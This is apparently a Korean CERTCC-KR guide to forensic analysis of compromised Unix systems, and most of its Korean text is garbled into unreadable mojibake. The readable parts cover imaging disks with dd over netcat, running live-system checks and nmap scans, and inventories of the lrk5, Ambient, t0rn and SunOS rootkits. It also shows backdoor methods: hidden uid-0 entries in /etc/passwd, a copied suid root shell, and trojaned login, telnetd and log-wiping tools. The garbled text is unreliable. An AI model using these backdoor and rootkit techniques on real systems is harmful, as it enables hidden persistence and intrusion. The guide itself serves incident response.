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I. ��������

	 	/0	 “1buse” , “� security , “� webmater", “postmaster" 23	4+	567	8�9	:;<	=>	?
(�9@AB(CSIRT, Computer Security Incidents Response Team) CD	;E	����FG	;H
I	�JK	LM3	4+7	NO	PQ�	:7	R�;. �S9	�TU	@V(W	XD�	YZ[
\](	K	PQ7	(^7	R�;.

�������� xxx.xxx.xxx.xxx� 	
��
�����	
������������������
��. ��� 	
��� �� !� ����� "#$� 	%� �&� '(), *+� ���� 	
��
�,$��-�.���/0�1��2���3	&�45��6	7�89��. :;&�<=>�?
3��6	7�89��.�

� � � � � * "��&�@A	����BC�+�D��E� FG��B�
+� CERTCC-KR-TR-2000-04("��&B
CD��E�FG)>�H4�7�8I�. http://www.certcc.or.kr/paper/cert.html

  �_K	4+	CD	`a7	NO	P�, @F
O	bc3	�
��	��	()7	\K	de�
f, �S9	;E	�
�7	ghXDi	�Mj9	:D	P��;. k	ghb8	(\	�
�7
ghXl	?mK	;H	C	;E	�
�7	ghXD	R�;.

  (\	�
�	nSbD	�_K	o�p	@Xl	�
�7	"�X9	qIr	stu	vw8	:
xf, �D	���3	yz{-, ()�93	#|	}	~%p	�	���	�;. '(	�
�p
@K	
�7	X�	�9	�.�	�	:D	%&(�
�	�	��)�	��X�D	X�/, �D	�
��$	()	'(r	�U	j9	���3	yz{-p	��	���	j�	�D;.

  P�p	�Z[	nSbD	ghbr	��	&�	@A7	X�	��	��	:xf, ��X9	�
��	 ��	 :xf, CD	 �K	 �l�x�	 �.	 ���	 ?mbr	��X�	��	 ��	 :;.
��K	 P��	 nSbD	 ?mb8	 �TU	 bc3	 �
�7	 gh�9, �S9	 ��K	 +7
�D�p	@Xl	
�(W/	6#K	�9�.r	X9	�	?m7	�7	�	:U	�;.

  �	 �[D	 ()	 '(	 �
�7	 
�XD	 %&p	 @Xl	 � r	 ¡¢�	 £¤K	 R�;.
“Computer Forensics" ��3	 �¥�[D	�¦�/, nSb§�	'(�
�p[	��K	 +�
+�¨D�	�S9	�TU	?mbr	��©	�	:D�p	@K	���$	ª�	LM7	;«;.
�S9	 �D	 @F
3	 '(�
�7	 
�XDi	 vwK	 6yr	 ¬g�	 R�;. �	 �[r
�(X�	¡([D	���$	­®
	¯°, ()3	±², ���/���³3	±²p	 @K	 �
(r	vw�	K;.

  =L3	l_	?(�9@AB(CSIRT), ´µG	¶·r	;�D	P¸, ¹¸, �S9	+º	�

�	}	»�,�	nSb8	�	b¼r	oXl	'(	�
�7	y;	6#½	
�X9	@AXD

i	���	j¾x<	K;.

  &3¿(Forensic)7	¢¬�	;«	�À	 “Áone Collector(�£: Scene of The Crime)”p[	¶·
�Â7	;�Di	:�	8Â	¢3�	Rx�	 “{ÃÄÅ”7ÆÇX9	:;. �Èp	ÉD	C	;E
RO	¶·br	Ê�	¡([D	 “¶·bË	ÌÍ�	ÎÏXZ”DÆRx�	�D	 ¶·b3	ÐSr
*ÑX9	ÒÓ7	~Ô(W	K;D	Õx�	N�§l-;.



II. ����������������������������	
	
	
	


	 	()	 '(	 �
�7	 
�X;	 y<	 ;ÖK	 ×Pp	 FØ½U	 �;. [�
r	 ��(W/
XD	P�8	:7	�	:xf, '(	�
��	�h�p	¡�K	P�, �S9	ÙE	
�7	(
W	XD	P�	2�	ÚÎK;. �S9	ÏÏ3	P�p	�Z	�
�7	
�XD	ÛÜ, Ý�, q
I8	ÞZß	�	:;. ;HO	'(	�
�	
�%&p	�E	Âàá7	�¯K;.

  o hS	
�
    - @â	�ã	�
��	:�	6d�$	[�
p	�Â�	ä7	P�, CD	
��	Óz	[

�
r	X�	���	å	P�	8æ

    - 6#K	{Ãy��	vwK	P�, �S9	
�	�
�7	�MXl	�¢	çèK	
�7
��	P�

    - hS	�épD	gh	��� 	CD	?mbr	ê¦GëX�	�ìU	�;.

  o íZ$	
�
    - @â	�ã	�
��	ä�, (\	�
��	äx<	6d�$	[�
r	X�	î�	P�
    - '(	 �
�p	 íZ$x�	 ��$([	 
�XU	 jf, ¢�	 �h�3	 �
�7	 ïS


�(W	�	P�p	�ðX;.
    - gh	��� �ñ, ghb3	òÓ	27	���x�	ê¦Gë	�	�	:;.
    - 
�	�óp	?m	ô��	*õjÃñ	Ådå	�	:�	6#K	
��	ö§;.
    - ÷øK	b�x�	÷øK3	
�/7	��	P�3	
�%&	�;.

  o 
�	�
�7	�MK	
�
    - '(�
�3	�
�3	 ���r	��([	 
�	�
�7	�MXl	
�XD	%&x

�	 “ùomputer Forensics"p[	{Ãr	ÄÅX�	��	¡K	
�	%&�;.
    - '(	�
�3	b�7	�MX�	�9	
�	�
�3	b�7	�MX�	ú�p	y;	6

#K	
��	8æX;.
    - 
�	�
�	��, �
�	��	2	'(�
�	
�p	û[	���	�ü�	ýxf	�

þ�	��	��;.

� �� JKL� MNO� PQ�R� S(�
� TU�� '+� VW, *+� X+� VW�� B�
+� Y� Z
�

�[��\+�.

  '(	�
�7	
�X�	¡K	+º�$	ÛÜD	;HI	Í;. 
�	�
�	���I6O	6

#K	
�I	çèK	{Ãy�7	¡([D	�	vwK	ÛÜ�;. X�/	¢�..�3	
�%
&p[D	vwX�	�;.

	 	 o �ã	 : �8	��K	d]p[	
�7	X�	�	vwK	ÛÜ�;.
  o 
�	�
�	��	 :
  o Freezing The Scene : �	�Â7	"�XD	RI	�JXU, ÷
	
�7	�£�	ú3	�


�	d]7	��XD	I6�;.
  o �
�	
�	 :
  o ?mb	��	 : CERTCC-KR-TR-2000-04(?(�9@A%&	}	ÛÜ), CD	?mb	ê¦G

ë7	oXl	��

  '(	�
�	
�	I6p	:�	��O	��	ówX;. 
�7	�£K	�þ, �ã7	K	�
þ, ��K	LM7	á¹�D�p	@K	6y	27	��K;. ��O	à
K	4êr	oXl	�
��	:7	R�f, ���$	
�83	P�	6�À�	�[p	3(	��7	�Ò�	��	:7
R�;. �S9	�_K	��O	&�	@A, �é	�., �S9	C	;E	�9	
�	2p	­M
XU	�+	R�;. �
�	
�	�p	ñ�D	6yr	��XD	�O	%&O	 “�cript”  � ¯°7
�MXl	G��p	��jD	ê�	LM	��XD	R�;.



   # script [filename]    ---> �	¯°	�é3	ê�	À<��O	 [filename] *+p	èÂ�;.

scriptr	�L9	�7	úD	ùTRL-DrÆ�<	�;.

1. ������������

	 	'(	�
�	
�p	û[	8Â	�è	(W	å	+O	i�G	�ã�;. �ãO	yzp	:�
8Â	���$	"��;. �½, [�
3	��¤�	vwXl	íZ$x�	
�(W/	�	P�,
�S9	yzãâ3	��8	2	¬	�b8	
��	P�pD	v��$	"��;. ��X<, ����
�������� �������������������� �	
���	
���	
���	
������ 
���
���
���
������� ���������������� ������������ �������������������� ������������ ������������ ���������������� ����������������  !
 !
 !
 !


��������"#�"#�"#�"#�����$%&$%&$%&$%&, !!!!����'��'��'��'�������	(�	(�	(�	(����"#)�"#)�"#)�"#)�����*)*)*)*)����+�+�+�+�����,-�,-�,-�,-�����././././����((((����01010101����$2$2$2$2����34*34*34*34*

����.	�D	ª¬	ýO	'(�
�7	
�(�	PQp[	ñí	���;.

2. 	
	
	
	
����
�
�
�
�������������

/0	 &�	@A7	 ��	P�pD	'(	�
�3	çèK	y��	vwX;. �Z[	 yzã
â3	��8ñ	P¸	CD	¹¸p	3�Xl	VSXD	%&�	8Â	���X;. l�[D	'
(	�
�	
�	�	y;	çèK	{Ãy�I	6#K	
�7	¡(	�M	
�	�
�7	 !X

9	�r	�MXD	%&p	@Xl	�¯K;. �_K	I6O	Î"å	�	:xñ, ���$	
�
7	�ÒXD	�n�ñ	#é	y;	6#X9	çèK	
�7	X9b	XD	P�pD	�S	��

X9	`$(	yD	R�	�;.

2.1 	
	
	
	
��������������������
�
�
�
�

	 	
�	 �
�O	 S%
	&'(7	�MK;. S%
D	 @F
3	*+�
�7	 ��X�	 ú
�p	��K	'(	�
����	�	*+�
�7	��([	
�	�
�p	)��8	M�X

;. ~r	§<	 SUN3	 UFS	 +	 P�	;HI	ÍO	¯°x�	S%
	�
�p	 *�([	�
M�	�	:;.

# mount -r -t ufs	-o ufstype=sun /dev/hdd2 /mnt

  S%
	�
�3	C	;E	ÂáO	 "loopback" devices �;. �D	 "dd" ¯°7	�MK	 bit à
¡3	�
�	���	���	*+7	
�	�
�p	 *�([	�M�	�	:��	K;. ;H
O	S%
r	�MK	���$	
�	�
�	�Ö	}	��	LM�;.

 o 2±3	 IDE +�,_r	-¬K	 i386 .×3	 /y0
	 	 	 : ���	 8�8	�d3	X0	0Z�1	 2±r	 primary IDE 2�,_p	�M(OS, 
��.,

�S9	3¬�	*+7	�.X�	¡K	gþ, *457	���	gþ	2)

 o 6	78	 IDE 9�:O	;<�	É=>;.
	 	 	 : �
�3	 á?r	 "6�	 vw	 ä�	 �
�r	 ��	 �8�	 �	 :��	 K;. �D

/dev/hdc	 (master) CD	 /dev/hdd	 (slave)�	ñ@A	R�;. '(	�
�3	�
�	���7
��	'(	�
�p	)l	
�X�	¡K	���;.

  o SCSI interface card (Adaptec 1542 2)
    : DDS-3 ñ	DDS-4 4mm B��	0Z�1	2	8Â	�	*457	;C	�	:D	gþ�	v

wX;. �S9	�D	'(	�
�3	b¼r	�ãXDi�	�M�;.



  o /0	
�	�
��	»�,�p	`qj�	:;<, ê�	yzD�r	��X9, ��K	»
�,�	[�
�	:�[D	z	�;.

  o 10-baseT	��
	9�:
	 	 	 	 : E1ñ	
¡�	ä��	'(	�
�p	`qXl	»�,�r	.¤�	�	:��	K;.(�

r	¡([D	 static route B�:7	�Óx�	.¤(W	K;.)

  o 
�p	vwK	�.§7	��K;.
    : '(	�
�	
�p	vwK	�.Ë, netcat	23	��� 7	��K;. �½, dd, netcat

23	 P�	 staticx�	 ´*+	 Xl	 Ó�	 Z�1_Sr	 �MX�	 ���	 ��(	 6D
R�	�;. �D	 '(	 �
�p[	 �_K	 ¯°7	 �M�	 ú	 !"�	 Z�1_Sr	 �
MX�	���	K;.

� �� �]�^O�_`�a��bc�	
�$�de�+�.`�e��fg�
�hi�j��k��. lm
�n
�o=�_`�pq�JKL>����+�.��rW�Ts���. tuv�	
�$�w&���x, y�
	
�$� bc�()� z{� |�L>� }~�� �� '�. 0�� 20GB �%�� �b-� ��� �m��
��=�������, :;&�bc�%�!��5���'�g���.

2.2 �������������������������������� � � � �

	 	
�	�
��	��j¾x<, ;HpD	'(	�
�3	�
�	���r	��XlW	K;.
�	I6O	{Ãy�7	¡K	ówK	£ã�;. +º�x�	�ãp	�MjD	 tar, dumpË	ÍO
¯°O	'(	�
�3	der	6#½	��X�	îK;. �Z[	 bit à¡�	�
�r	��X
D	 “FF" ¯°7	�MXl	��X��	K;. �	I6O	;Hp	�¯�	 Freezing The Scene I
67	�ÒK	ép	�
�7	hS�G9	�ÒXD	R�	���X;.

	 	;H3	P�D	»�,�r	oXl	'(�
�3	�
�r	*45H�	
�	�
�x�	�

�XD	 %&7	 yl�;. {Ãr	 ÄÅX�	 ��	 ¡([D	 Û@�	 '(	 �
�3	 �
�r
�I	 
�X�	 Ç9	 ���	 6yr	 
�XlW	 K;. '(	 �
�3	 *+�
�	 6yD

”/etc/� fstab" *+7	J"X<	�;.


�	�
�

   nc	-l -p 10000 > victim.hda2.dd

'(	�
�

  /cdrom/dd	bs=1024 < /dev/hda2 | /cdrom/nc	172.16.1.1 10000 -w 3

� y��	
��� “��", *+� “������"$������\&��;� static ���J�j�����
�$����+�.����.

	 	'(	�
�3	�
�	���r	*45H�	��K	KpD	�r	
��
�p	 *�([


�7	�£X<	�;. S%
	�
�3	 loopback	 devicer	�MXl	;HI	Í�	'(	�

�3	�
�	���7	 *�K;.

# mkdir	/t
# mount -o ro,loop,nodev,noexec	victime.hda2.dd	/t
# mount -o ro,loop,nodev,noexec	victime.hda1.dd	/t/home

...



3. Freezing The Scene

	 	ghbD	L¬�	�
�7	!PXÃñ	*õ�	�	:;ZD	�ª7	¢�XlW	K;. �Z
[	gh	ô�7	/	 �d	ÄÅj�	���	 y�Xt9	�	P�pD	�
�7	M;*	 �GÃ

ñ	 »�,�	N7	 
S�	 �	 :;. X�/	 �_K	 £ãO	ghb3	��$	 de, »�,�
`q	de	2	'(�
�3	O	O	ówK	��	de	6yr	PU	/�;.

  �Z[, '(	�
�7	hSX�	�p	��3	�
�	der	6#½	*ÑXlW	K;. �
D	 ¶·	 �Â7	 Åd	 ä�	 �@�	 y�XD	 RI	 Í;. ��	 rootkit	 CD	 backdoor 2x�
$Xl	ÃQ	6y8	ñ@A	��	:�/	 - ¶·b8	¶·�Â7	¡"XD	RI	�J	 - �p
@K	bRK	
�O	�é3	ÛÜp	�Z	�ÒXlW	K;. �_K	'(	�
�	dep	@K
6y�SO	íZ$	dep[	
��	P�p�	vwXf	�é3	
�£ã7	TU	(�;.

  ;HI	 ÍO	 ¯°7	 �MXl	 '(	 �
�3	 ��	 ��R
, ¢w	 �6*+, U�	 *+,
��$	�Mb	6y, »�,�	de	2p	@Xl	��	��Xl	ynK;.

   o "ps -elf" CD	 “ps -aux": ��	�
�p[	�Òó$	��R
	der	yl�;.
   o “lsof  : � psË	 netstatr	@â�	�	:D	Rx�	��	�
�d3	ê�	��R
Ë	��R


8	�MXD	V�, U�	*+7	yl�;.
	 	 	 o “netstat	-na  : � ��	»�,�	òÓp	@K	6y

	 	 	 o “last  : � �Mb, G��p	@K	��$, ���W	6yr	yl�;.
   o “who  : � ��	�
�p	:D	�Mbr	yl�;.
   o "find / -ctime	-ndays	-ls" : ndays	��	�áFG	����	 ctime�	!P�	ê�	*+7	�

��;. X�/	�D	*+3	IX�þ(atime)7	!P�Y;. �Z[	?mb8	��K	*
+p	IX�D�	s9	�O	P�pD	�MX�	���	K;.

  CK	 nmap7	�MXl	;E	�
�p[	'(	�
�3	ê�	U�	V�r	¹�Xl	��
XD	+�	vwX;. �D	ñóp	'(	�
�7	
�XDi	�	���	�;.

 nmap	-sT	-p 1-65535 xxx.xxx.xxx.xxx('(�
�	 IP ¢ø)
 nmap	-sU	-p 1-65535 xxx.xxx.xxx.xxx('(�
�	 IP ¢ø)
 � nmap�: http://www.nmap.org

  /0	'(	�
�7	hS([	
�X9b	�	P�pD, �
�7	M;*	�G�y;D	»
�,�	N7	 
SXD	 R�	���X;. ghb8	 �
�p	 `qj�	 :D	 P�, ghbD
nSb8	�
�7	M;*	�Y;D	R7	s	�	:xf, �D	ghbr	b�Xl	�
�	�
âr	*õ�	��	:�	ú��;. P�p	�Z[D	'(	 �
�7	hSX�	�9	$GZp
`q�	 dep[	 
�(W	 XD	 P��	 ÚÎK;. �[	 P�pD	 ghb�FG3	 *õ¡Q
7	\�K	<	
�(W/	K;.



4. ����������������	
	
	
	


	 	?m7	\K	 �
�O	 ?mb3	ô�	¬Ã	 }	 �	 ?m7	¡K	 ���(Backdoor) CD	 �
��³	] (Trojan	Horses) ��� 	2�	��jU	�;. ���³	] (trojan	 horse)D	6d
�$	 �æ7	 �ÒXD	 RV^	 y�ñ	 ª¬�	 ;E	 �æ7	 XD	 ��� 7	 ÇX9	 ���

(backdoor)D	 �
�p	 �	 $8�	IX7	 8æXU	 XD	 ��� 7	 ÇXD	Rx�, ���
] 8	�
�3	_&�$	?m7	¡K	����	�Mj��	K;.[ ] �S9	�_K	���
 7	ê�`O	���(rootkit)�ZÆ_SD	DG�	�.8	��Xf, Ï	 OS abH�	g±j
�	:;. �½, ls, netstat, ps, login, ifconfig	23	�
�	*+7	!"Xl	ghb8	/�	*+,
��R
, »�,�	`qde	2�	y��	���	K;.

     * J"	 : CERTCC-KR-TR-99-006 ���	] Ë	���	
�	y9[

  5555, ������������������������ �	)�	)�	)�	)����$6$6$6$6���������7�����7�����7�����7��������������������89�89�89�89�����*:
;*:
;*:
;*:
;����!���!���!���!�������
<
<
<
<����=>�=>�=>�=>�

?�?�?�?�����0000����@�@�@�@�����=>�=>�=>�=>�����A�A�A�A�. c�E	qIr	d�	¡([D	'(	�
�3	*+�
�7	��
�	 
�	 �
�p	 *�([	 
�	 �
�3	 ¯°7	 �MXlW	 K;. /0	 íZ$dx�
ÙE	 
�7	 (W	 �	 P�pD	 ¢w	 �
�	 ¯°§�	 !"j¾D�	 á¹X9, !"j¾7
P�pD	Ì	ÍO	e�3	;E	�
�p[	(\	*+7	��([	�MXÃñ	��	DG�r

F
H�	;�	��(	�MXlW	K;.

	 	ghbD	 ���>p�	 bc�	 ()K	 �
�p	 �?mX�	 ¡Xl	 ���(Backdoor)r
/§�	`��	K;. �_K	���D	f�*	56	Î¤, 56	�M, ��g	V�	Î¤	�S
9	û[	�¯K	���p[	¬gXD	�æ7	hÒ	�MXD	2	��	;ÖX;. c�E	�

�	
�7	 ¡([D	ghb§�	 �MXD	�_K	 ���(rootkit)I	���(Backdoor)p	 @K
bRK	�(8	vwX;. ý�	s��	�/i	/	ïS	
��	�	:;.

4.1 !"#!"#!"#!"#(rootkit) Exposed

	 	���O	 ���x�	 �æ�	 ã�j�0j<[	 g±j9	 :;. S%
3	 P�	 lrk(Linux
RootKit)3, lrk4, lrk5 23	e��	5�	ñ�9	:xf, �kp�	 t0rn	kit, Ambient's Rootkit	2�
�Mj9	:;. OO	 ���3	�æ	}	 �M&p	@Xl	�(XU	j<	@F
3	���p
@Xl	 �(�	 �	 :9, �D	 �
�	 
�p	v��$	 �º	 ���	�;. ;HO	 @��$
���p[	�MjD	���³] 	e�3	��� I	���p	@Xl	�¯K;.

4.1.1 lrk5(Linux	Rootkit	IV)

  o �l�	���	�6*+
	 	 	 	 /dev/ptyr	 	 : ls	¯°x�FG	m�9	�O	*+�ñ	�noSr	�6
	 	 	 	 /dev/ptyq	 	 : netstat	¯°x�FG	m�9	�O	�6	 IP ¢ø, UID, V�7.r	�6
	 	 	 	 	 	 ex) /dev/ptyq	*+	LM	}	�¯
	 	 	 	 	 	 	 	 	 	 1 128.31        <- 128.31.X.X�FG3	ê�	I�7	y��	���	p
	 	 	 	 	 	� Úq�	 /dev/ptyq	 *+p[	 �SD	 ghb8	 128.31 »�,�	7.r	 8�9	 :H

7	s	�	:xf, 6#K	ghb3	 IP ¢ør	��X�	¡([D	 128.31 »�,�
p	@Xl	ê¦Gë(W	K;.

	 	 	 	 /dev/ptyp	 	 : ps ¯°x�FG	m�9	�O	��R
	�6

  o ¢w	���³/���	��� 
	 	 	 	 bindshell : �6	V�p	��g7	�$r�s	(\V��	I�X<	��tK	uv
	 	 	 	 chsh : +º	�Mbp[	��tK	uv
	 	 	 	 crontab : �6	Crontab	LM7	m�D	��� 
	 	 	 	 find : /dev/ptyr	*+p	�6�	LM7	m=¢D	!"�	 find ¯°



	 	 	 	 ifconfig : PROMISC	flagr	m=¢D	!"�	 ifconfig	¯°
	 	 	 	 inetd : �hIX7	�MXD	!"�	 inetd	��� 
	 	 	 	 linsniffer : 
¦?	��� 
	 	 	 	 login : �hIX7	EMXD	!"�	 login ��� 
    ls : /dev/ptyr	*+p	�6�	LM7	m=¢D	!"�	 ls	��� 
	 	 	 	 netstat : /dev/ptyq	*+p	�6�	LM7	m=¢D	!"�	 netstat	��� 
	 	 	 	 passwd : +º	�MbpU	 roottK7	¢D	 passwd	��� 
	 	 	 	 ps : /dev/ptyp	*+p	�6�	��R
r	m=¢D	 ps ��� 
	 	 	 	 rshd : �h	IX7	¬gXD	 rshd	��� 
	 	 	 	 sniffchk : 
¦?8	ªÒj9	:D�	á¹(¢D	��� 
	 	 	 	 syslogd : ��r	m=¢D	 syslogd	��� 
	 	 	 	 tcpd : �6	wx57	m�9, `q�	ÃF(deny)j�	���	(¢D
	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	TCP-Wrapper 3	 tcpd	��� 
	 	 	 	 top : ��R
r	m=¢D	 top ��� 
	 	 	 	wted : wtmp/utmp	*+	yS�(��$	6yr	3¬�	ú	�Mz)
	 	 	 	 z2 : Zap2 utmp/wtmp/lastlog	3¬	��� 

4.1.2 Ambient's Rootkit	( for Linux	)

  o �l�	���	�6*+
	 	 	 	 /dev/ptyxx/.log  : syslogdp	��j�	�U	X9	�O	�bU	�6
	 	 	 	 /dev/ptyxx/.file  : ls	¯°x�FG	m�9	�O	*+�ñ	�noSr	�6
	 	 	 	 /dev/ptyxx/.proc : ps ¯°x�FG	m�9	�O	��R
	�6
	 	 	 	 /dev/ptyxx/.addr	: netstat	¯°x�FG	m�9	�O	�6	 IP ¢ø, UID, V�7.	�6

  o ¢w	���³/���	��� 
	 	 	 	 syslogd : /dev/ptyxx/.log *+p	�6�	�bU+	P�	��r	É��	�H
	 	 	 	 login   : { rkd00r  � �	��$�	P�	��g	uv
	 	 	 	 sshd : �6�	D
,0r	�MXl	���	��$	8æ
	 	 	 	 ls : /dev/ptyxx/.file *+p	�6�	*+	}	�noSr	m�
	 	 	 	 du : /dev/ptyxx/.file *+p	�6�	*+	}	�noSr	m�
	 	 	 	 netstat : /dev/ptyxx/.addr	*+p	�6�	`q, V�	27	m�
	 	 	 	 ps : /dev/ptyxx/.proc *+p	�6�	�|3	��R
r	m�
	 	 	 	 pstree : /dev/ptyxx/.proc *+p	�6�	�|3	��R
r	m�
	 	 	 	 killall : /dev/ptyxx/.proc *+p	�6�	�|3	��R
r	m�
	 	 	 	 top : /dev/ptyxx/.proc *+p	�6�	�|3	��R
r	m�

4.1.3 t0rn	kit

  o �l�	���	�6*+
	 	 	 	 /usr/src/.puta/.lfile	: ls	¯°x�FG	m�9	�O	*+�ñ	�noSr	�6
	 	 	 	 /usr/src/.puta/.lproc	: ps ¯°x�FG	m�9	�O	��R
	�6
	 	 	 	 /usr/src/.puta/.laddr	: netstat	¯°x�FG	m�9	�O	�6	 IP¢ø, UID, V�7.	�6

  o ¢w	���³/���	��� 
	 	 	 	 sshd
	 	 	 	 finger
    t0rnsb
	 	 	 	 t0rns
	 	 	 	 t0rnp

� �� H& �� : rpc.statd$���-���=� t0rnkit��������5, �� /a¡, CERTCC-KR



� � � � � http://www.certcc.or.kr/paper/incident_note/2001/in2001_002.html

4.1.4 Rootkit	for SunOS

  o �l�	���	�6*+
	 	 	 	 /dev/ptyp	 	 : ps ¯°x�FG	m�9	�O	��R
	�6
	 	 	 	 /dev/ptyq	 	 : netstat	¯°x�FG	m�9	�O	�6	 IP¢ø, UID, V�7.	�6
	 	 	 	 /dev/ptyr	 	 : ls	¯°x�FG	m�9	�O	*+�ñ	�noSr	�6

  o ¢w	���³/���	��� 
	 	 	 	 z2 : utmp/wtmp/lastlog	��*+	3¬	��� 
	 	 	 	 es : 
¦?	��� 
	 	 	 	 fix : checksum }	¡"
    sl : magic D
,0�	 root tK	uv
    ic	 : ifconfig, PROMISC	&��r	m�
	 	 	 	 ps : /dev/ptyp	*+p	�6�	�|3	��R
r	m�
	 	 	 	 ls : /dev/ptyr	*+p	�6�	*+	}	�noSr	m�
	 	 	 	 netstat	: /dev/ptyq	*+p	�6�	`q, V�	27	m�
	 	 	 	

ex) Trojan3	#$

  ��Ë	 Í�	 ���³	 ls, k	 ¡"�	 ~s ��� I	 6d�$	 ~s ��� 7	 truss ¯°7
�M(	ªÒ�sy<	;Eá7	Úq�	�	:;. ¡"�(Trojaned) lsD	 /dev/ptyr *+7	J"
p7	s	 �	 :;. /dev/ptyr�*+O	���³	 ls3	�6*+�	ghbD	bc�	m�9	�O
��oSñ	*+¯7	 /dev/ptyr	*+p	ñUK;. �_<	 ~s ¯°x�	(\	�noSñ	*+�
y��	�U	�;.

� � � � � � ��¢��� "/bin/ls" £�:¤� :
� � � � � � � � # truss -t open /bin/ls
� � � � � � � � open("/dev/zero", O_RDONLY)                     = 3
� � � � � � � � open("/usr/lib/libw.so.1", O_RDONLY)            = 4
� � � � � � � � open("/usr/lib/libintl.so.1", O_RDONLY)         = 4
� � � � � � � � open("/usr/lib/libc.so.1", O_RDONLY)            = 4
� � � � � � � � open("/usr/lib/libdl.so.1", O_RDONLY)           = 4
� � � � � � � � open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2
� � � � � � � �ENOENT
� � � � � � � � open(".", O_RDONLY|O_NDELAY)                    = 3
� � � � � � � � [list of files]

       ���¥�¦a�� /bin/� ls" £�:¤� :
� � � � � � � � # truss -t open ./ls
� � � � � � � � open("/dev/zero", O_RDONLY)                     = 3
� � � � � � � � open("/usr/lib/libc.so.1", O_RDONLY)            = 4
� � � � � � � � open("/usr/lib/libdl.so.1", O_RDONLY)           = 4
� � � � � � � � open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2
� � � � � � � �ENOENT
� � � � � � � � open("/dev/ptyr", O_RDONLY)               Err#2 ENOENT --> ��������������������������������

� � � � � � � � open(".", O_RDONLY|O_NDELAY)                    = 3
� � � � � � � � [list of files]

� � � � � � ex) TornKit�Trojan��2�§
bash# strace�-e trace=open ps | more
open("/usr/src/.puta/.1proc", O_RDONLY) = 3 ---> Tornkit������������������������	
��	
��	
��	
��

open("/etc/psdevtab", O_RDONLY)         = 6
open("/etc/nsswitch.conf", O_RDONLY)    = 6



bash# strace�-e trace=open ls�| more
open("/usr/src/.puta/.1file", O_RDONLY) = 3 ---> Tornkit������������������������	
��	
��	
��	
��

open(".", O_RDONLY)                     = 3

bash# strace�-e trace=open netstat����| more
open("/usr/src/.puta/.1addr", O_RDONLY) = 3 ---> Tornkit������������������������	
��	
��	
��	
��

4.2 ��$��$��$��$(Backdoor) Exposed

	 	ghbD	bc�	?mK	�
�p	§G�	�9	�S9	ÅTU	�	?m�	�	:��	 ��

�r	/§U	�;. û[	�¯K	RV^	 rootkit3	���³	���r	�MXÃñ, +º	��
�r	/§�	�MXÃñ, CD	�6	���r	�MX�	�9	�?m	ú ;	�0á7	gh
Xl	�mX��	K;. ���3	¢w	]�O	;HI	Í;.

     - nSb8	D
,0	�â, yzD�	23	yz"�r	K	Kp�	;�	�
�p
§�c	�	:��	K;.

	 	 	 	 	 - �
�	��*+�ñ	ê¦Gë	¯°p[	��j�	���	K;.
     - ÷à�þp	ÅTU	�
�p	I��	�	:��	K;.

  �ª	���D	�	�e8	��	;ÖX9	��½	/§�ß	�	:�	ú�p	ê�	���r
��[	¬ÃX�D	��	ö§;. ;E	Ç�	X<, �.�	ê�	 ���/���³7	 ¬Ã�;
9	 Â��	 �	 ä;D	 R�;. �D	 ()'(r	 \K	 �
�3	 �é	 "��, �
�7	 ;�
��X��	t9XD	�­���	X;. �%&'�%&'�%&'�%&'�������(���(���(���(����)$*)$*)$*)$*����+,+,+,+,����-./0-./0-./0-./0����1�1�1�1�����2 2 2 2 

/3/3/3/3���� 456456456456���� ���������������� 7777���� 89�189�189�189�1(X�/	 CGI ���Ë	ÍO	�&S9�5d3	���D	l
�½	 �¬8	 �;). l�[D	 ?(�9p[	 8Â	 ô½	 ÚqjD	 ���p	 @([/	 �¯K
;. ;ÖK	���3	�ep	@Xl	$�px�[	nSbD	'(�
�7	y;	6#½	
�
X9	�.�	�	:U	�;.

4.2.1 D
,0	���

  8Â	�o�$	%&x�	D
,0	*+7	��)Xl	�6	�Mb3	 IDË	D
,0r	�
MXl	�
�p	IXK;. �D	6d�$	��$I	.HX�	�ì�	ú�p	��X�8	T
��;. yo	+º	�Mb3	�noSË	 history *+, �S9	��$	��7	
�Xl	�d
K	á7	��	LDi, �D	RÐK	�
�	nSb/�	�à�	�	:;.

  C	;E	%&O	D
,0	 *+p	 uid8	 0$	56(nSb	tK7	8-	56)�ñ	+º	�
Mb	567	�8Xl, (\	567	�MXD	%&$i, �D	nSb8	TU	���	�	:H
p�	_.X9	aa	�MjD	%&�;.

~) _&56�	�8�	 /etc/passwd	*+
   ...

     reef:x:0:0::/tmp:/bin/csh
   rewt::0:0::/tmp:/bin/bash

  ghb8	+º	�Mb	567	�MXl	��$XD	P�, ��tK7	uvX�	¡K	��
�r	 /§�	`U	 jDi	 ;HI	 Í�	 ¢�	 suid, sgidr	 �6K	 *+7	 �MK;. ��3
“sha”DÆ	"/bin/sh" ��� 7	��K	*+�;.

[lotus@linux�tmp]$ ls�-al�./.sha
-rwsr-xr-x   1 root     root       373176 Jan 30 17:24 ./.sha*
[lotus@linux�tmp]$ id
uid=506(lotus) gid=506(lotus) groups=506(lotus)
[lotus@linux�tmp]$ ./.sha



[lotus@linux�tmp]# id
uid=506(lotus) gid=506(lotus) euid=0(root)�groups=506(lotus)
[lotus@linux�tmp]#

  ��Ë	ÍO	%&x�	 suid, sgid8	�6�	*+7	��	���r	��©	�D	:xñ	�
ª	UNIXpD	�ýO	 suid, sgid	 *+§�	:�	��R�	���$�	.HX�D	T�	�;.
�Z[	�øp	��Ë	ÍO	¯77	�MXl	 suid, sgid	�6�	*+p	@Xl	]�7	/§�
6D	R�	�;.

find / -type f -perm -04000 -ls� � � # SUID��j�¨7
find / -type f -perm -02000 -ls� � � # SGID��j�¨7

4.2.2 Login ���

  login ��� O	­®
p[	 telnet 27	�MXl	I��	ú	D
,0r	oK	�Mb	 $
{p	 �M�;. ghbD	 �_K	 login ��� 7	 �6Xl. �6	D
,08	 m�å	 úD
root tKx�	��$�	å	�	:��	 /�;. �S9	�_K	D
,0r	�M(	��$	�
úD	��*+p	É�	���	 K;. +º�x�	nSbD	 “strings" ¯°x�	 login ��� 
p[	�_K	D
,0	 �.r	#$XÃñ, truss ¯°x�	6d�$	 login ��� I	��(
yÃñ, CD	*+3	Î¤�þ7	#$Xl	���³	 login ��� 7	s�©	�	:;.

4.2.3 Telnetd	���([�
	���)

  Login ���D	ý�	st�	:�	nSbD	aa	 login ��� 7	¹�X��	K;. �Z
[	ghbD	 login ��� 	@cp	 in.telnetd	 ��� 7	���³	��� x�	��	`�
�	K;. +º�x�	���³	 in.telnetd	��� O	�6	G��(TERM) �67	�D	�Z�
L�pU	��g7	¬gXD	�æ7	�D;.
